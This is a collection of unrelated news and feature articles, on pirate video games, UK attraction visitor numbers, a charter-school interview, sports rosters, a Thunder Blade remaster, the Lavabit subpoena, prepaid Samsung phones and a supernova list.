Sid Meier's Pirates! It doesn't tick every box on that list but it's close. It encompasses a stretch of the Caribbean and Spanish Main so big you need turbo mode to cross it, there are ships full of Spanish gold to take (and Dutch gold, French gold, and English gold), and you can buy low and sell high profitably enough that you don't even need to turn to piracy if you're boring. On the other hand its dueling is pretty simplistic and depending which version you play there might be a divisive ballroom dancing minigame in there as well. And, more to the point, it's a game from 1987. It's been remade since then, in 1993 and again in 2004, but it still has very little competition. If you want to get your pirate on with something newer you have to play Assassin's Creed IV: Black Flag and slog through all of the assassin bits so you can unlock the half of the game you actually want: boarding ships and listening to sea shanties. But as great as it is to hit rough water and hear the crew of the Jackdaw launch into “It's stormy weather boys, stormy weather/When the wind blows we're all together, boys,” Black Flag isn't going to let you profit from manipulating trade conditions. It's just not that kind of game. The MMO Pirates Of The Burning Sea is that kind of game. Its player-driven economy is detailed enough that you can have your own plots of land producing resources like iron ore which you manufacture into nails before selling them to another player who owns a shipyard. It's also got a fine ship-to-ship combat system for getting the wind in your sails and opening fire on someone who has a hold full of nails if you'd rather be a straight-up buccaneer than a manufacturer who also occasionally pirates it up. Being an MMO means Pirates Of The Burning Sea can use other players for those interactions, whether trading or risking crew and cargo sailing through the dangerous waters of the PVP zones. But online games bring their own problems. Board a ship and you'll find yourself staring at a cooldown bar of attack options straight out of World Of Warcraft, a far less thrilling prospect than its ship-to-ship combat. And even its sailing can be seriously hampered by lag, with your ship suddenly stalling then teleporting to a different position nudged up against an outcropping of land. There are plenty of other games about pirates and Steam is full of cutthroat simulators, many of them products of Early Access. But just like Black Flag or Pirates Of The Burning Sea there's always something missing, something holding them back from fulfilling our hopes and living up to that dream pitch of being a truly well-rounded pirate. They may start with positive feedback from the most involved community members, but once more players get involved their ratings drop—Blood & Gold: Caribbean, Naval Action, Pixel Piracy, they're all trending down towards a 'mixed' rating in the harsh waters of Steam community reviews. We're a judgmental bunch. I'd make a joke about pirate fans liking to make underwhelming games walk the plank, but then I'd get a bunch of judgmental comments about how walking the plank's unhistorical. We may like Monkey Island but we still want more than just a pirate costume draped on another genre. We see a ship and we get our hopes up, setting ourselves up for disappointment. Take a look at Sunless Sea, which isn't even about piracy though you can dabble in it. It's a game about story, as much a text adventure as a naval adventure, but there's still a cranky subset of its players upset by the fact its trade side is underdeveloped. Give us a ship and a set of ports and we want to start manipulating their economies for our benefit even in a game that's really about earning eerie stories rather than loot. Why doesn't our ideal pirate game exist? Maybe it’s simply because we're asking too much. First on our list is “open world” but open-world games are expensive and inevitably troubled by bugs, even when the biggest studios are behind them. The licensed Pirates Of The Caribbean game made by Akella and published by Bethesda, as well as its unofficial sequels in the Age Of Pirates series, are perfect examples, where you're as likely to crash to desktop as into a warship. The first thing on our list of demands is almost impossible on its own, let alone once we start fussing over the rest. Rare’s ambition for its upcoming online pirate game Sea of Thieves actually highlights why it’s so difficult to make a truly satisfying one. “Everyone’s got an idea of what pirates do,” design director Gregg Mayles told us at E3. “Everyone knows they go after treasure. You don’t need to be told how to sail a ship or climb to the crow’s nest and use a telescope.” “Anything you expect to be able to do in a pirate game, we expect to make that dream come true for players,” added executive producer Joe Neate. Other popular genres like sci-fi and fantasy settings certainly come with their own preconceptions, but they’re less clear-cut. Pirate games aren’t just about a place but about a specific kind of character and action. They’re a more codified fiction than “living in space” or “like the past but with wizards” and when we can’t swashbuckle across the seven seas just right and raid and trade and all the rest, it just doesn’t feel like real pirating. I wish Rare all the luck in the world with Sea of Thieves. But rather than getting our hopes up and setting ourselves up for another disappointment (we don't talk about Risen 2: Dark Waters), maybe we should lower those expectations like we're lowering our sails, losing some speed but gaining some maneuverability so that we don't smash right into a bitter reef of our own making just like this metaphor has. In the meantime, who's for another rousing chorus of 'The Fish In The Sea?' “It's stormy weather boys, stormy weather...” -Image copyright AFP Visitors have stayed away from major tourist attractions in the wake of recent terror attacks, according to the London Eye and Madame Tussauds owner. Merlin Entertainments, which also runs the Legoland theme park, also warned that numbers could continue to fall. Bosses said before the attacks foreign tourists had been flocking to the UK to take advantage of the weak pound. The company's London Eye sits just next to Westminster Bridge - where the March attack took place. Merlin said in a statement: "in the immediate aftermath of the Westminster attack on 22 March... the incident did result in a softer domestic, day-trip market. "However, the subsequent attacks in Manchester and London over the past month have resulted in a further deterioration in domestic demand and, given the typical lag between holiday bookings and visitation, we are also cautious on trends in foreign visitation over the coming months". Impact In the aftermath of a terror attack, major attractions tend to not feel the impact for a few weeks or months because most foreign visitors tend to buy their tickets for Merlin sites such as Alton Towers or The London Dungeons, in advance. Chief executive Nick Varney added: "The impact of recent terror attacks on our London attractions is unclear at this stage. "What is clear however is that London has bounced back before, and will do again. "London is very much open for business, welcoming visitors from the UK and from around the world to this exciting and vibrant city." Investors heeded Merlin's warning, sending shares falling 2.8% to 489p. Neil Wilson, senior market analyst at ETX Capital, said: "Merlin had already warned in March when it released its 2016 full-year preliminary results that the threat of terror attacks had hit its UK business, citing events in Paris and Brussels as having an impact. "This was before the Westminster attack on March 22nd, meaning the impact on the UK business is likely to be significantly greater in 2017 than it was last year." Merlin has seen visitors shun its attractions after major incidents before. In 2015, the company saw a significant drop in visitors to its Alton Towers theme park after several thrill seekers were badly injured on one of the rides. Bosses will face tough questions from shareholders on Tuesday at the company's annual general meeting at Legoland, where they will also be told about the opening of Legoland Japan and new sites across the US. -Bloodborne “Total Game Volume” is Bigger Than Demon Souls, Claims Producer (Editor’s note: the interviewee was originally listed as Director Hidetaka Miyazaki, as that was the name on the interview schedule, among other circumstantial communication oddities. That aside, here is the interview with Mr. Yamagiwa) Did you find From Software’s previous games — Dark Souls and Demon Souls — long enough for the genre it’s in? If so, you’ll be glad to know Bloodborne will be even bigger in scope. Continuing our interview with Bloodborne Producer Masaaki Yamagiwa at TGS, we asked him how many hours of gameplay are they expecting from a typical Bloodborne playthrough, and here’s the good news he relayed: Just like Demon’s Souls, it really depends on the player’s skill. It’s hard to say. But we can say that the total game volume is bigger than Demon’s Souls. While Miyazaki didn’t give out any specific duration of time, the fact that the total game volume is bigger should be welcome news for fans, right? In another part of the chat, Miyazaki commented on why Bloodborne is a PlayStation 4 exclusive. Are you concerned at all regarding Bloodborne’s length or should it not matter provided the gameplay is solid? -- Two ex-cons tried to use the Polk County Sheriff's office to scam a local business, but it didn't work. When Marco Sullivan was arrested in Lakeland on an outstanding warrant from Orange County, he didn't want his employer to know, so he asked his girlfriend, Martisha Wilson to try and cover it up for him. At first, she told his boss that he had the flu and would be back in a few days. But after Sullivan went to court, he realized he was going to be behind bars longer than he thought. So he hatched a plan. He told Wilson to download a Polk Sheriff's Office letterhead. Sullivan told her to write a letter saying that he was on a special mission with the ATF Division of the Polk Sheriff's Office. But the letter had red flags from beginning to end. "There is one thing for sure," said Polk Sheriff Grady Judd. "We'll never use Martisha as a secretary at the sheriff's office." The letter was written entirely in capital letters. Then there were the spelling mistakes. "He'll be on the unit for 6 months or less," Judd read from the letter. "Do (sic) to the severity of the case, I am not able to enclosed (sic), E-N-C-L-O-S-E-D, no farther (sic), F-A-R-T-H-E-R, information," Judd read, spelling out some of the misspelled words. Judd also pointed out the Polk Sheriff's Office doesn't have an ATF Division and the signature on the letter was Mike Singleton. There is no person employed at the sheriff's office by that name. When someone at Reddy read the letter, they knew something was wrong, called investigators. Sullivan remains in custody. Detectives have yet to locate Wilson. There is a Polk County warrant for her arrest for criminal use of personal identification. She is believed to be in the Orlando area and is described as 5-foot-4 and 150 pounds. The Sheriff’s Office asks anyone with information on her whereabouts to contact them at 863-298-6200. -Tweet Professor Joan Goodman, the director of the Teach for America program at the University of Pennsylvania, talks about the philosophy behind *no excuses* charter schools, and the price paid by students who attend them. EduShyster: You’re the author of an article called Charter Management Organizations and the Regulated Environment: Is It Worth the Price? that’s the single best overview of *no excuses* charter schools that I’ve seen. Talk a little about the research you’ve been doing. Joan Goodman: I began to focus on charter schools when the first Mastery Charter School was started in Philadelphia. These were supposed to be experimental schools which would have a variety of new approaches and they’d get rid of bureaucracy and we’d see all kinds of novel approaches to children. But particularly in terms of the charter management organizations they haven’t provided much variety—they’re all strikingly similar to one another. These schools have a very clear philosophy about what they’re trying to do, how they’re trying to do it, what they think is necessary, who they read, who their leaders are. And they’re explicit in describing it. The combination of the uniformity across these different schools and their explicitness about what they’re doing and why they’re doing it makes it easier to get hold of this movement than it is with say, public schools in a city or a school district where there’s so much variety and there isn’t a single philosophy. ES: With the exception of KIPP, which has allowed Mathematica to study its admission policies and test results, these schools haven’t been receptive to academic studies. How did you manage to study them? Goodman: I’m the academic director of our Teach for America program at UPenn and our TFA students are teachers in these schools. So I can go in to look at what our students and their teachers are doing, and then students tell me a lot about what’s going on. I have also done a good bit of visiting. The charters are hospitable to that. A lot of this is anecdotal, and much is based on what the schools have written, which is public. My work is investigative, I think, more than formal research. But you’re right—it takes a huge effort to try to get into these schools for any systematic research. They don’t welcome outsiders to study them. And they have a point. What academics do when they go in is criticize, and you can see why they might not like that. I think they’ll let just about anybody in for a visit. But to go in and have the schools really cooperate with an investigator, that’s a whole lot harder. What are the day-to-day processes that are happening in the classroom? How do teachers feel about these processes? How much range of behavior is there? It would be great to be able to investigate these sorts of questions, but the schools wouldn’t welcome that. ES: Minority children in urban areas are increasingly being educated at schools run by the types of charter management organizations you study, yet I find that people know little if anything about the way these schools view the world. Goodman: These schools start with the belief that there’s no reason for the large academic gaps that exist between poor minority students and more privileged children. They argue that if we just used better methods, demanded more, had higher expectations, enforced these higher expectations through very rigorous and uniform teaching methods and a very uniform and scripted curriculum geared to being successful on high-stakes tests, we can minimize or even eradicate these large gaps, high rates of drop outs and the academic failures of these children. To reach these objectives, these schools have developed very elaborate behavioral regimes that they insist all children follow, starting in kindergarten. Submission, obedience, and self-control are very large values. They want kids to submit. You can’t really do this kind of instruction if you don’t have very submissive children who are capable of high levels of inhibition and do whatever they’re told. ES: Time seems to be an essential component too—the idea that not a second can be wasted. I’m reminded of this video about *speedy transitions* for kindergarteners at a New Jersey charter school. Goodman: In order to maximize academic accomplishment, no time can be wasted and anything that’s not academically targeted, that’s not geared to what the students have to know, is time wasted. So there is almost no opportunity for play, for relaxation, very little time for extra-curricular activities. The day is jammed with academics, especially math and reading because that’s what gets tested. The view of time and strict discipline are related, by the way; in order to get these kids to attend over very long hours—they have extended days and extended weeks—you have to be tough with the kids, really severe. They want these kids to understand that when authority speaks you have to follow because that’s basic to learning. So they don’t have the notion of learning that more progressive educators have, that learning is a very active enterprise and that children have to be very participatory and thinking and speaking and discussing and sharing and having initiative. That’s not their view of learning. It’s too variable across teachers, the objectives are too non-specific, and time is wasted. ES: The *broken windows* theory is well known when it comes to policing, but as you write, these charter management organizations apply that theory to schools. Explain. Goodman: These schools believe that behaviors that you might not think are directly related to academic learning can have a domino effect if left unaddressed. Getting up from your chair to go to the bathroom without explicit permission, for example, or not having your hands folded on your desk, or not looking at the teacher every minute, or not having your feet firmly planted on each side of the center of the desk are problematic behaviors. Because if you don’t conform to these rules then you are going to precipitate the next domino and the next domino. It’s going to have a cascading effect on your behavior and pretty soon you’re going to be very disruptive. If you get up to sharpen your pencil, maybe you’re going to throw your pencil at someone. Or if you get up and get something out of your backpack that you forgot, maybe you’re going to elbow another student on your way back to your seat, or make eye contact with them and divert them from looking at the teacher. Any one of these little behaviors they see as leading to the next behavior. Before you know it there will be bedlam. ES: Does the emphasis on discipline diminish as kids get older? Goodman: Well yes—as kids learn and adapt to this regime there’s less time spent on discipline. It takes a while for the kids to adapt to this because it’s so out of their experience. The older kids are still getting merits and demerits all the way through high school, though. In some schools they wear these lanyards that get marked, and when they accumulate a certain number of demerits things happen to them. By 12th grade, the kids are almost giving the demerits to themselves, they’re so accustomed by this point. You might think that if this is still going on in 12th grade, then the kids can’t have internalized all of this very well, but they do get used to it. They do adapt. ES: One of the questions you ask is whether there are legitimate limits to the power exercised by schools over children. Goodman: That’s a big question. What rights do children have that are similar to the rights of adults? Can you search them? Can you control what they say and don’t say at all times? Do they have any freedom of speech rights? Do they have any freedom to bring something to school if they want to? More than that, do they have any rights at all against oppressive punishment? Students in these schools have to go to a certain chair and sit there for a certain length of time, all at the teacher’s discretion, and sometimes they have to go repeatedly to this isolated chair with their back to the class. They may be deprived of recess if that’s granted. They have to go to detention and stay after school. They have to write things 100 times. In some of the schools, there’s a good bit of shaming: they have to wear different colored shirts, they can’t talk, they have to sit on a lower bench than other children. And it’s deliberate shaming of the kids. No one is allowed to talk to them. And what offense have they done to merit this kind of punishment? They haven’t done their homework or they’ve come in late, perhaps repeatedly. They haven’t done anything violent. There has been no adjudication. The teachers or the school norms say that this is appropriate. So what are the limits of what a teacher can do to a child? ES: You expected that students in these kinds of schools would consider the rules oppressive, but in your study The Quest for Compliance in Schools: Unforeseen Consequences, you found that the students had come to believe that they didn’t deserve more freedom. Goodman: One thing about these atmospheres is that they’re very uniform. Everybody is on board—you don’t have variability from teacher to teacher or class to class. The atmosphere is totalizing. And the children tend to model themselves after this authority. It has that effect on kids, that they identify with the rules of the regime and their identity becomes *a kid in this school who conforms to these rules.* Now some of the students, of course, don’t conform to the rules, and I think that if you get the kids later in life it’s much harder. But if you get them early, you develop their sense of self that accords with those of the authority. The adults know everything, they know nothing. Here’s what’s good, here’s what’s right. You’ll be successful and happy if you take on these characteristics. Without these rules you’ll be bad or impulsive and you’ll destroy your future. You may not be having fun but you’re doing what’s important. We know best. And the kids come to believe that. As the social psychologists have shown, in totalizing environments, that’s often the result. They call it “identification with the oppressor.” Here oppressor should be changed to authority. There is very, very strong authority in these schools. The teachers are novice teachers, so they get molded too. I don’t think you could take highly experienced teachers—20 years of running a classroom—and put them into these schools and have the same kind of experience. It’s a really interesting study to see how both the teachers and the kids get acculturated. ES: I think it’s important to point out that you also have some very positive things to say about these schools—you’re not just a straight-up hater. Goodman: Not at all. I’m certainly not a hater. I think the basic idea of order, of developing habits—you walk into class, you put your things away, you sit down, you take out your book, teacher says good morning, shakes hands, you look at her—some of the habits they’re cultivating will be helpful to kids. And certainly the prohibition on violence makes for a safe community. The problem is that the approach is unbalanced. I think a certain amount of routine, habit forming, strictness, limiting certain behavior is good—but I would always be working towards reducing that. Once you’ve established a safe environment, for example, why not loosen up on the behavior regulations? If I were running one of these schools I would feel that *OK—I have to do this* but I would always be working towards turning over more authority to the kids. That would be my goal all of the time. Let the kids be responsible for their behavior. Have more group work, more student councils, more kids in charge of their own lives. Joan Goodman is a Professor in the Graduate School of Education University of Pennsylvania and a former school psychologist. Her article, Charter Management Organizations and the Regulated Environment: Is It Worth the Price?, appeared in the February 2013 issue of Educational Researcher. Send tips and comments to tips@haveyouheardblog.com. -According to a number of reports, much-maligned Philadelphia Eagles cornerbacks Roc Carmichael and Curtis Marsh have been released. Both Marsh and Carmichael struggled majorly in the team's preseason games. It's far from a surprise to see they were cut. Marsh is a former third round pick from the Eagles' dreadful 2011 NFL Draft class. Carmichael spent time on the Houston Texans practice squad last year before being signed away by the Eagles. With Marsh and Carmichael gone, the Eagles cornerback position now comes into focus. The five remaining cornerbacks include: Cary Williams, Bradley Fletcher, Nolan Carroll II, Brandon Boykin, and Jaylen Watkins. Williams and Fletcher are the returning 2013 starters on the outside. Boykin is one of the best slot cornerbacks in the NFL on the inside. Carroll II projects to be the team's dime cornerback and also could push Fletcher for a starting job still. Watkins is a rookie fourth round pick with the versatility to also play safety. It appears Watkins will serve as Boykin's backup for the time being. -The Florida Gators were the last team to win back to back NCAA Tournaments in 2006 and 2007. There were three NBA lottery picks from that team, Al Horford, Joakim Noah and Corey Brewer. All three of those players were part of the 2004 signing class along with Taurean Green. They were all roommates during their three year stay in Gainesville and the best of friends. They became known around the state as the “04’s”, perhaps a take-off of Michigan’s “Fab Five” of the early 1990s. Al three of the front court players from that team were chosen in the lottery, two of them Noah and Horford, are still with the teams that picked them. Brewer was picked by the Minnesota Timberwolves and has bounced around a bit with stops in New York and Dallas before finding a home with the Denver Nuggets. Noah was drafted by the Chicago Bulls and is still one of their best players. He played in this season’s NBA All-Star Game, nearly recording a double double in just a few minutes in that game. Horford has also been to the All-Star game and is one of the best players for the Atlanta Hawks who drafted him. All three of these players have panned out, which the odds were probably against. But the odds have never gotten the best of these three before. In 2004, the Kentucky Wildcats incoming class was rated over Florida’s, and it wasn’t even really close. In 205, these four players helped the Gators win their first ever SEC Tournament over Kentucky in the championship game, even though their roles were limited behind David Lee, Anthony Roberson and Matt Walsh. In 2006, Florida began the season unranked. But with the emergence of Noah, Brewer and Horford along with Green and his back court mate, sharpshooter Lee Humphrey, the Gators got off to a 22-0 start. They went into the SEC Tournament as one of a handful of teams that had a shot to win it, but they won their second in a row, beating the South Carolina Gamecocks in the Final. They then went to the NCAA Tournament as a number three seed and went all the way to school’s first national championship. Noah was a sure #1 pick as he was named the Most Outstanding Player of the tournament. Coach Billy Donovan got his “Big Four” together after the tournament and told them they had a chance to do something special in repeating as national champs. Noah’s first reaction, understandably, was “I’m about to go get PAID!” But Brewer talked his mates into returning to school to go for the repeat. They made their announcement at the championship celebration, sending the Gator crowd into a frenzy, but putting a target on their backs. At times, the target was huge as teams gave them their best shots. But when the post season came around, these gators ripped through the competition for their third straight SEC Tournament championship and second straight national championship. Then it was on to the NBA. This is their sixth season in the NBA and it is safe to say that all three have made their marks on the game. All three are participating in this year’s playoffs and playing a major role for their teams. Noah averaged 12 points and 11 rebounds per game for the Bulls. He was the second leading rebounder and fourth leading scorer on the team. Horford averaged 14 points and six rebounds per game for the Hawks. He was their third leading scorer. Brewer averaged nearly 15 points per game for the Nuggets in what has been his first real shot to contribute in the NBA. The Nuggets up-tempo style fits his game perfectly. So it is safe to say that the Gator Boys are Still Hot. Altogether there are at least eight former Gator players in the playoffs with the Spurs Matt Bonner, the Warriors David Lee (who is now out with an injured hip), the Rockets Chandler Parsons, and the Heat’s Mike Miller and Udonis Haslem. There are probably not very many schools with that many contributing to playoff teams. The trio of Brewer, Horford and Noah will always be linked as the most revered of Gator greats. -Sans crazy arcade installation It's been a real joy re-experiencing classic titles from Sega's past. With the recent releases of Outrun and Fantasy Zone II bringing back some serious nostalgia trips, the folks at Sega have still got plenty of 3D remasters in store. Though the spring phase of Sega's 3D Classics series is drawing to a close, there's still one more title in the wings, and that's the return of the underrated and super enjoyable Thunder Blade. Much like Outrun, the 3D release of Thunder Blade has seen some time on the market overseas, but the Western crowd is now finally going to get a taste of the action on May 14. Just before its debut, I got to experience a special hands-on look with the title, along with a quick chat with producer Yosuke Okunari. And we got to learn what was like porting this unique arcade shooter to the handheld. Originally released in 1987, Thunder Blade brings players to the helm of a heavily armed attack helicopter as they battle waves of foes in tanks, jets, and battleships across a variety of locations. Much like the other Sega offerings of its time, the story is kept light in favor of offering accessible and fast arcade-style gameplay. You're the good guy, everyone else is bad -- shoot them. Though unlike most other shoot-'em-up titles, Thunder Blade features a unique take on perspective, as the action will transition from an overhead angle to the over-the-shoulder look similar to Space Harrier during key sections of the stage. This dynamic switch of perspective made it a welcome fit for the 3D remaster. "We felt that this point of view was extremely well suited for a stereoscopic 3D conversion," said producer Yosuke Okunari. "When we went to actually build the game out in 3D, we found that it gained a very unique sense of actually being suspended in their air, and was even more impactful than the original game. This same thing happened with 3D Galaxy Force II, where by implementing stereoscopic 3D, the game's visual view point style transcended in to its final form, you could say." Thunder Blade has made the transition quite well, and the new hardware has done wonders for the gameplay. The frame rate is rock solid, and the controls for the 3DS are super sharp and make controlling the attack chopper feel very accurate. The left stick controls movement and altitude, while both shoulder buttons control speed (increase and decrease). Though the 3DS is a far cry from the control scheme found on the original arcade release -- which featured a flight stick and a special chair that sought to emulate the cockpit of a helicopter -- I can safely say that 3D Thunder Blade is a fine port, and the action still kept me on my toes during the hectic battles. Much like the other 3D Classic titles, Thunder Blade makes exquisite use out of the new 3D visuals and hardware. One of the most striking elements is its depth of view during altering perspectives, and the new 3D visuals do well to enhance the view and sense of movement during the action. Though the draw distances unfortunately haven't been improved, I was still quite impressed with how the visuals sharpened up. Interestingly enough, the transition to 3D meant having to design the new visuals around the new perspectives independently, and layering them on top of one another. "For this version, we had to implement 3D separately for each of these three types of scenes," said the producer. "The boss stages were particularly difficult. The original game actually had preset depths. Even more so than some of the Genesis games, there were a number of situations where we wouldn't really have to worry about if we left them in 2D, suddenly [having] paradoxical situations when we put them into 3D." "Thunder Blade has three types of gameplay for every stage. The first are scenes that are from the top-down, which allow you to fully appreciate and enjoy changing your helicopter’s altitude. The second are scenes that are 'over the shoulder,' which are reminiscent of After Burner II. The last are the boss battles, where you are not able to change your altitude but you are placed into a forced-scroll situation where you can control your speed and progression. There are no other games that allow you to experience these three types of gameplay all in a single game." Though they were keen on keeping the 3D remaster as it was with the original title, they did implement some new features -- both out of necessity and the desire to include new content with the original game. As some areas didn't take to the new 3D visuals too well, such as shadows glitching out and boss battles resulting in odd bugs, they had to be cut in order to preserve the experience. But in order to make up for this, they implemented a stage that's brand new to the original Thunder Blade. Okunari stated that the new level will be consistent with the rest of the game and really offer an exciting finish. "The new stage feels natural and uses the graphical style of the era, all while taking advantage of the stereoscopic 3D to deliver a scene where you flying into the center of a base, reminiscent of the final Death Star scene in Return of the Jedi. The boss has a really awesome background to it as well, so I encourage everyone to check it out." Not only that, there's the new Arrange mode which is unlocked after completing the arcade mode. In Arrange Mode, players will control an alternate helicopter with different weapons and tackle stages that have some additions to them. While the the original arcade mode is exciting, the extra content goes above and beyond what I expected. I was pretty damn pleased with how 3D Thunder Blade turned out. It helped to scratch that shooter itch I had after playing Space Harrier and After Burner, and Thunder Blade definitely holds its own. While the style and approach is a bit different, I still found it to be a welcome addition to the Classics series. And it's a fine 3D remaster, too. This title is a good one to close out the spring phase of the Classics series, and it'll definitely hold you over till the summer titles come a knocking. You are logged out. Login | Sign up Click to open photo gallery: -NEW YORK – Calgary Flames center Jiri Hudler, Colorado Avalanche goaltender Semyon Varlamov and New York Rangers goaltender Cam Talbot have been named the NHL's "Three Stars" for the week ending March 8. FIRST STAR – JIRI HUDLER, C, CALGARY FLAMES Hudler paced the NHL with eight points and shared the League lead with four goals to help the Flames (36-25-5, 77 points) earn seven out of a possible eight standings points. He opened the week with 1-1—2, including the winning goal at 1:23 of overtime, in a 3-2 triumph over the Philadelphia Flyers March 3. Hudler followed that performance with 1-1—2 in a 4-3 shootout win over the Boston Bruins March 5. He then recorded 2-0—2, including the game-winning goal, in a 5-2 victory over the Detroit Red Wings March 6. Hudler closed the week with a pair of assists in a 5-4 shootout loss to the Ottawa Senators March 8. The 31-year-old Olomouc, Czech Republic, native has posted multiple points in four consecutive games for the first time in his career. He leads the Flames with 23-33—56 in 63 outings this season, including four game-winning goals (tied for second on the team). SECOND STAR – SEMYON VARLAMOV, G, COLORADO AVALANCHE Varlamov went 3-0-0 with a 0.69 goals-against average, .981 save percentage and one shutout to lead the Avalanche (30-25-11, 71 points) to three straight wins. He made 28 saves in a 3-1 victory over the Pittsburgh Penguins March 4. Varlamov then stopped all 44 shots he faced in a 4-0 win over the Columbus Blue Jackets March 7 to record his 18th career shutout and fifth of the season, including three that have featured at least 40 saves (also Oct. 30 vs. NYI: 40 SV and Jan. 6 at CHI: 54 SV). He capped his performance with 29 saves in a 3-2 triumph over the Minnesota Wild March 8, extending his shutout streak to 124:19 – just 5:04 shy of his career high set March 1-6, 2012 (129:23). The 26-year-old Samara, Russia, native has appeared in 46 games this season (including 22 consecutive starts), compiling a 22-17-7 record with a 2.56 goals-against average and .921 save percentage. THIRD STAR – CAM TALBOT, G, NEW YORK RANGERS Talbot posted a 2-0-1 record with a 0.99 goals-against average, .965 save percentage and one shutout to backstop the Rangers (40-17-7, 87 points) to five out of a possible six standings points. He denied 25 shots in a 4-1 triumph over the Nashville Predators March 2. Talbot then made 29 saves in a 2-1 overtime loss to the Detroit Red Wings March 4. He capped the week by stopping all 29 shots he faced in a 1-0 overtime victory against the Chicago Blackhawks March 8, becoming the first Rangers goaltender to post a shutout in Chicago since Dec. 25, 1966 (Ed Giacomin). The 27-year-old Caledonia, Ont., native has appeared in 26 games this season, going 14-6-4 with a 2.33 goals-against average, .921 save percentage and five shutouts. That includes points in 12 of his last 13 decisions (9-1-3) as well as a 5-1-1 mark in his last seven appearances (1.69 GAA, .943 SV%, 2 SO). -49ers: Michael Crabtree Runs for First Time by Eric Melendez 49ers: The Case Against Alex Smith by Eric Melendez Part 3 of my Get to Know series of this year’s San Francisco 49ers draft picks, and we’ll look at rookie tight end Bear Pascoe. Get to Know: Glen Coffee Get to Know: Michael Crabtree Bear Pascoe, Tight End Born: February 23, 1986 Height: 6-5 Weight: 260 lbs. High School: Granite Hills High School (Porterville, CA) College: Fresno State University College Receiving Stats YEAR TEAM REC YDS AVG LNG TD FD FUM LOST 2005 FRES 5 34 6.8 12 0 0 0 0 2006 FRES 22 307 14.0 75 2 0 0 0 2007 FRES 45 553 12.3 44 4 0 0 0 2008 FRES 40 400 10.0 39 4 0 0 0 Tight end Bear Pascoe entered the NFL Draft after his senior year and was drafted in the sixth round with the 184th pick in 2009. Best game in college: September 8, 2007 vs. Texas A&M: 7 receptions for 70 yards with 3 touchdowns. In the clutch: 2008 New Mexico Bowl vs. Colorado State: 3 receptions for 39 yards with 0 touchdowns. 2007 Humanitarian Bowl vs. Georgia Tech: 6 receptions for 72 yards with 0 touchdowns. 2006 Liberty Bowl vs. Tulsa: 2 receptions for 10 yards with 0 touchdowns. Awards: 2003 East Yosemite League Offensive Player of the Year (High School) and 2003 All Area Team (Northern California). All WAC Selection in 2007 and 2008. Pascoe Facts: Played quarterback in high school. Passed for 1,851 yards and 16 touchdowns in his senior year. In the last two years of high school he had just under 3,500 total yards along with 33 touchdowns. Was recruited by Fresno State as a quarterback. Switched to tight end and redshirted his freshman year. Full name is McKenna Sean Pascoe. Earned the nickname Bear as a kid because of his size. He weighed 10 pounds as a baby. Is a champion team roper and cowboy down to the bone. He grew up on his family’s ranch in Porterville, CA which they still own today. Majored in communication studies. As a Niner: Will back-up starting tight end Vernon Davis. He will be used mostly as a blocker and on special teams. He blocked six field goals in college which is a record. He has great catching abilities and will challenge Davis for playing time this year. Will wear number 48. As of June 10, 2009 he remains unsigned by the 49ers. Highlights: -But a month before the news conference, court documents show, Mr. Levison had already received a subpoena for Mr. Snowden’s encrypted e-mail account. The government was particularly interested in his e-mail metadata — with whom Mr. Snowden was communicating, when and from where. The order, from the Federal District Court in Alexandria, Va., required Mr. Levison to log Mr. Snowden’s account information and provide the F.B.I. with “technical assistance,” which agents told him meant handing over the private encryption keys, technically called SSL certificates, that unlock communications for all users, he said. “It was the equivalent of asking Coca-Cola to hand over its secret formula,” Mr. Levison said. By July, he said, he had 410,000 registered users. Similar services like Hushmail, a Canadian encrypted e-mail service, had lost users in 2007 after court documents revealed that the company had handed 12 CDs’ worth of decoded e-mails from three Hushmail accounts to American law enforcement officials through a mutual assistance treaty. “The whole concept of the Internet was built on the idea that companies can keep their own keys,” Mr. Levison said. He told the agents that he would need their request for his encryption keys in writing. A redacted version of that request, which was among the 23 documents that were unsealed, shows that the court issued an order July 16 for Lavabit’s encryption keys. Prosecutors said they had no intention of collecting any information on Lavabit’s 400,000 other customers. “There’s no agents looking through the 400,000 other bits of information, customers, whatever,” Jim Trump, one of the prosecutors, said at a closed Aug. 1 hearing. But Mr. Levison said he spent much of the following day thinking of a compromise. He would log the target’s communications, unscramble them with the encryption keys and upload them to a government server once a day. The F.B.I. told him that was not enough. It needed his target’s communications “in real time,” he said. “How as a small business do you hire the lawyers to appeal this and change public opinion to get the laws changed when Congress doesn’t even know what is going on?” Mr. Levison said. When it was clear Mr. Levison had no choice but to comply, he devised a way to obey the order but make the government’s intrusion more arduous. On Aug 2, he infuriated agents by printing the encryption keys — long strings of seemingly random numbers — on paper in a font he believed would be hard to scan and turn into a usable digital format. Indeed, prosecutors described the file as “largely illegible.” -AT&T owned Cricket Wireless has added two new smartphones to its prepaid lineup, the Samsung Galaxy Amp Prime and the Samsung Galaxy Amp 2. Both Samsung phones are 4G LTE capable and come with the Android 6.0 Marshmallow OS. Cricket adds Samsung Galaxy Amp Prime for $149.99 online and in its stores while Amp 2 will be available for $99.99 from April 15, 2016, also online and in stores. For quick info check the video. The Samsung Galaxy Amp Prime is a larger handset of the two, featuring a 5-inch super AMOLED display. The phone comes with 5-megapixel camera with Quick Launch and HD videos and a front facing camera that can take selfies with simple hand gesture. The Amp Prime also features One-handed operation mode, Easy Mode for beginners with simpler interface and Ultra Power Savings Mode that extends phone’s standby time for up to 24 hours with just a 10% charge. Advertisement The smaller of the two, the Samsung Galaxy Amp 2, is an entry-level, low-cost smartphone with Super AMOLED display 4.5-inches in size. The display features outdoor mode that enables users to see better in sunlight by increasing the screen brightness for 15 minutes. Both Samsung Galaxy Amp Prime and Amp 2 will work with Cricket’s $40, $50 and $60 plans that include unlimited talk, text and data with first 2.5GB, 5GB and 10GB at 4G LTE speeds. The two pricier plans also come with unlimited international texting (SMS only) to 38 countries and unlimited calling, texting (text, picture and video messaging) and data roaming in Mexico and Canada. Customers who enroll in auto pay will receive a $5 monthly discount so they can get Cricket plans for $35, $45 and $55 per month. Even though Cricket said that the Samsung Galaxy Amp Prime is available online and in stores, the phone hasn’t been listed on Cricket’s smartphone page yet. Source: Cricket Wireless -I plan to report only "bright" Supernova (above mag 17.5) on this page. Note that you are going to need a big telescope to find most of these things, for instance, a "Mag 14" SN probably won't be visible to the eye in anything less than a 10" telescope. A CCD, however, can often detect a Mag 14 object with a much smaller objective. Those SN which are easily findable by amateurs (above mag 14.0) will be in red . The format is as follows: Name of SN, Discovery reference (link if possible), Date which the supernova first appeared (Year/Month/Date format), Name of discoverers separated by a ";" (link to discovery site(s) if possible) Name of galaxy (linked to a page describing this galaxy), RA and DEC of SN in J2000.0 coordinates (link to sky map of that area of the sky) Directions to the SN from core of host galaxy, galaxy 